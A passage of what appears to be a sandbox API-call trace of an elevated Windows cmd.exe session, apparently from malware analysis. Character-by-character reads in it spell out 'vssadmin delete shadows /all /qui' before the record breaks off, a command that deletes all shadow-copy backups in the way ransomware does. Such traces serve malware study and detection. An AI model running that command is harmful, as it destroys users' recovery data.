TokenHandle=0x24f740*=0x0) returned 0xc000007c [0052.768] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x24f740 | out: TokenHandle=0x24f740*=0x50) returned 0x0 [0052.769] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x24f750, TokenInformationLength=0x4, ReturnLength=0x24f758 | out: TokenInformation=0x24f750, ReturnLength=0x24f758) returned 0x0 [0052.769] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x24f758, TokenInformationLength=0x4, ReturnLength=0x24f750 | out: TokenInformation=0x24f758, ReturnLength=0x24f750) returned 0x0 [0052.769] NtClose (Handle=0x50) returned 0x0 [0052.769] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x24f720, nSize=0x0, Arguments=0x24f728 | out: lpBuffer="韠6") returned 0xf [0052.769] GetProcessHeap () returned 0x350000 [0052.769] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x218) returned 0x351ab0 [0052.769] GetConsoleTitleW (in: lpConsoleTitle=0x24f770, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0052.769] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0052.769] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0052.771] GetProcessHeap () returned 0x350000 [0052.771] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x351ab0 | out: hHeap=0x350000) returned 1 [0052.771] LocalFree (hMem=0x3697e0) returned 0x0 [0052.771] GetProcessHeap () returned 0x350000 [0052.771] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36aa10 | out: hHeap=0x350000) returned 1 [0052.771] _vsnwprintf (in: _Buffer=0x4a416340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f458 | out: _Buffer="\r\n") returned 2 [0052.771] _get_osfhandle (_FileHandle=1) returned 0x12c [0052.771] GetFileType (hFile=0x12c) returned 0x3 [0052.771] _get_osfhandle (_FileHandle=1) returned 0x12c [0052.771] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a40c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0052.771] WriteFile (in: hFile=0x12c, lpBuffer=0x4a40c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f428, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesWritten=0x24f428*=0x2, lpOverlapped=0x0) returned 1 [0052.772] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a3ff360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0052.772] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a40c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0052.772] _vsnwprintf (in: _Buffer=0x4a3feb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x24f468 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0052.772] _vsnwprintf (in: _Buffer=0x4a3febaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x24f468 | out: _Buffer=">") returned 1 [0052.772] _get_osfhandle (_FileHandle=1) returned 0x12c [0052.772] GetFileType (hFile=0x12c) returned 0x3 [0052.772] _get_osfhandle (_FileHandle=1) returned 0x12c [0052.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a40c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0052.772] WriteFile (in: hFile=0x12c, lpBuffer=0x4a40c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x24f458, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesWritten=0x24f458*=0x26, lpOverlapped=0x0) returned 1 [0052.772] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.772] GetFileType (hFile=0x120) returned 0x3 [0052.772] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.772] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.772] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e320, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0052.776] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.776] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.776] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.776] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e322, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0052.776] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.776] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.776] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.776] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e324, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0052.776] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.776] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.776] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.777] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e326, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0052.777] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.777] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.777] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.777] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e328, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0052.777] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.777] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.777] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.777] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e32a, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0052.777] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.777] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.777] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.777] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e32c, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0052.777] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.777] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.777] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.777] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0052.777] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.777] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.777] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.777] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0052.778] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.778] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.778] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.778] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e332, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0052.778] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.778] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.778] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.778] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e334, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0052.778] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.778] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.778] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.778] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e336, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0052.778] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.778] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.778] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.778] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e338, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0052.778] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.778] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.778] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.778] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e33a, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0052.778] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.778] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.779] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.779] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e33c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0052.779] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.779] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.779] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.779] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e33e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0052.779] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.779] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.779] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.779] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e340, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0052.779] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.779] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.779] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.779] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e342, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0052.779] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.779] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.779] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.779] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e344, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0052.779] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.779] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.780] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.780] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e346, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0052.780] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.780] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.780] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.780] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e348, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0052.780] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.780] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.780] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.780] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e34a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0052.780] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.780] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.780] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.780] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e34c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0052.780] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.780] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.780] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.780] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0052.780] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.780] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.781] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0052.781] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.781] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.781] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0052.781] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.781] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.781] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0052.781] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.781] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.781] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0052.781] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.781] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.781] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0052.781] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.781] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.781] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0052.782] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.782] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.782] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0052.782] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.782] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.782] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0052.782] _get_osfhandle (_FileHandle=0) returned 0x120 [0052.782] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.782] ReadFile (in: hFile=0x120, lpBuffer=0x4a40c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f758, lpOverlapped=0x0 | out: lpBuffer=0x4a40c320*, lpNumberOfBytesRead=0x24f758*=0x1, lpOverlapped=0x0) returned 1 [0052.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a40c320, cbMultiByte=1, lpWideCharStr=0x4a40e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 